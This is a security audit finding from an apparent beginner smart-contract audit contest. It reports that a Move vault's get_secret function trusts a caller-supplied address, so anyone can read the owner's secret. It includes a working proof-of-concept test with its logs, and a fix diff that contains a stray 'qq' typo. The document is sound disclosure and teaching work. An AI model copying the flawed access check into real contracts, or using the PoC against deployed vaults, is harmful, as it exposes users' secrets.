Secret Vault
First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can read the secret as long as they know the owner's address

cephas848

Root + Impact

Improper access control allows anyone to read secrets that should only be visible to owner

Description

// Root cause in the codebase with @> marks to highlight the relevant section
Only the owner of the secret should be able to read the secret however the implementation of get_secret allows
anyone who knows the address of the owner to view this secret
​
@>public fun get_secret (caller: address):String acquires Vault{
@> assert! (caller == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}
​
The code accepts an `address` parameter , caller which is then checked against the address of owner. This is
flawed as anyone who knows the address of owner can simply pass the address as a parameter to this function.

Risk

Likelihood:

  • As long as an attacker knows the address of the owner of the secret


Impact:

  • Anyone can read the secret stored by passing the owner of the secret address

  • Breaks the vaults promise of ensuring that only the owner of a secret can read it

Proof of Concept

We have added a call to read the secret by calling get_secret() where we simply pass the address of owner as an argument

#[test(owner = @0xcc, user = @0x123)]
fun test_secret_vault(owner: &signer, user: &signer) acquires Vault{
use aptos_framework::account;
// Set up test environment
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
// Create a new todo list for the user
let secret = b"i'm a secret";
set_secret(owner,secret);
// Get the owner address
let owner_address = signer::address_of(owner);
// Verify the secret was added
let valut = borrow_global<Vault>(owner_address);
assert!(valut.secret == string::utf8(secret), 4);
​
// pass owner address to read the secret
let secret_val: String = get_secret(owner_address);
debug::print(&secret_val);
​
debug::print(&b"All tests passed!");
}
​
​
​
**logs**
Running Move unit tests
[debug] "i'm a secret"
[debug] 0x416c6c2074657374732070617373656421
[ PASS ] 0x234::vault::test_secret_vault
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

Instead of passing caller as an argument, we want to make this a signer and then we can extract the address of this signer which should then be compared to owner

- #[view]
- public fun get_secret (caller: address):String acquires Vault{
- assert! (caller == @owner,NOT_OWNER);
+
+ public fun get_secret (caller: &signer):String acquires Vault{
+ assert! (signer::address_of(caller) == @owner,NOT_OWNER);qq
Updates

Lead Judging Commences

bube Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.